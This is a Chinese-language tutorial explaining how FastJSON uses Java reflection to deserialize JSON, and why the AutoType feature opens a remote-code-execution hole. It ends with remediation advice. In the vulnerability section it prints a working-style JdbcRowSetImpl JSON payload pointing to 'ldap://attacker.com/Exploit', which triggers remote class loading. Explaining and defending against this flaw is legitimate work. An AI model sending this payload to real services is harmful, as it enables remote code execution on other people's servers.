?? 剖析FastJSON 反序列化是如何利用的反射機制 ?? 一、反序列化是什么? 反序列化(Deserialization) :將字符串形式的數(shù)據(jù)(如 JSON)轉成 Java 對象的過程。
舉個例子,有一個 Java 類:
public class User { public String username; public int age; }
如果傳入 JSON:
{ "username" : "www.geekserver.top" , "age" : 20 }
我們可以使用 FastJSON 自動反序列化它:
User u = JSON.parseObject(jsonStr, User.class);
但問題是—— FastJSON 怎么知道怎么構建這個類?怎么給字段賦值?這時候就用到了 Java 的反射機制。
?? 二、FastJSON 使用反射詳細分析 下面我們 從零開始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串變成對象的。
?? 第 1 步:類加載 FastJSON 首先需要知道要反序列化成哪個類。
如果手動指定類(如 User.class
),就直接用; 如果啟用了 AutoType
,就從 JSON 的 @type
字段中讀取。 // 方式一:手動指定類 JSON.parseObject(jsonStr, User.class); Class<?> clazz = User . class ; // 方式二:AutoType 動態(tài)識別 JSON.parseObject(jsonStr); String className = jsonObj.get( "@type" ); Class<?> clazz = Class.forName(className);
反射關鍵點: Class.forName()
動態(tài)加載類 。
?? 第 2 步:實例化對象 FastJSON 會用 clazz.newInstance()
創(chuàng)建目標類的實例。
Object obj = clazz.newInstance(); // 相當于 new User()
反射關鍵點: 默認調用類的無參構造方法 。如果類沒有無參構造,就報錯。
?? 第 3 步:遍歷字段,賦值屬性 FastJSON 會讀取 JSON 中的 key-value 對,然后:
具體如下:
Field field = clazz.getDeclaredField( "username" ); // 找到字段 field.setAccessible( true ); // 設置可訪問 field.set(obj, "Alice" ); // 設置值
對于多個字段會這樣循環(huán):
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); field.set(obj, entry.getValue()); }
?? 結果:我們就用反射動態(tài)生成了一個對象! User u = (User) obj; System.out.println(u.username); // 輸出:Alice
??總結 FastJSON的反序列化 JSON.parseObject(jsonStr, User.class);
相當于進行了如下操作:
// 1. 把 JSON 字符串轉成 Map 結構 Map<String, Object> jsonMap = new HashMap<>(); jsonMap.put( "username" , "alice" ); jsonMap.put( "age" , 18 ); // 2. 用反射創(chuàng)建對象實例 Class<?> clazz = User . class ; Object obj = clazz.newInstance(); // 默認調用無參構造 // 3. 用反射給字段賦值(字段名必須和 JSON 鍵一致) for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); // 解鎖私有字段 field.set(obj, entry.getValue()); // 賦值 } // 4. 返回強轉后的對象 User u = (User) obj;
?? 三、AutoType 與反射結合后的漏洞原理 我們現(xiàn)在明白了 FastJSON 會:
通過反射 Class.forName()
加載類; 用反射 newInstance()
創(chuàng)建對象; ? 那攻擊者可以怎么利用? 如果開啟了 AutoType,攻擊者就能傳一個精心構造的 JSON,例如:
{ "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://attacker.com/Exploit" , "autoCommit" : true }
FastJSON 會:
自動調用 setDataSourceName("ldap://...")
; 內部觸發(fā) JNDI 請求 → 遠程加載惡意類 → 執(zhí)行代碼。 JdbcRowSetImpl
利用鏈分析 ?? FastJSON × JdbcRowSetImpl 利用鏈是否還有效?全面解析如何突破 JDK 安全限制
?? 四、流程總結 階段 技術 說明 ??? 加載類 Class.forName()
反射動態(tài)加載任意類(危險?。?/span> ?? 創(chuàng)建對象 clazz.newInstance()
調用無參構造方法實例化 ?? 設置屬性 field.set(obj, value)
設置攻擊字段觸發(fā)危險行為 ?? 利用漏洞類 JdbcRowSetImpl
自動觸發(fā) JNDI 請求 ?? 實現(xiàn) RCE JNDI + 遠程類加載 下載并執(zhí)行遠程惡意類
? 五、修復建議 防護措施 建議 ?? 禁用 AutoType 默認關閉 setAutoTypeSupport(true)
? 配置白名單 ParserConfig.addAccept("com.safe.")
?? 升級 FastJSON 推薦 1.2.83+,更強防護機制 ?? 審計日志 檢查是否存在 @type
字段傳入
?? 六、總結:為什么 FastJSON 漏洞離不開反射? Java 的反射機制讓 JSON 可以動態(tài)適配任何類; 攻擊者正是利用了反射的“全能”特性,構造任意對象、注入惡意行為。
閱讀原文:原文鏈接
該文章在 2025/5/6 12:15:41 編輯過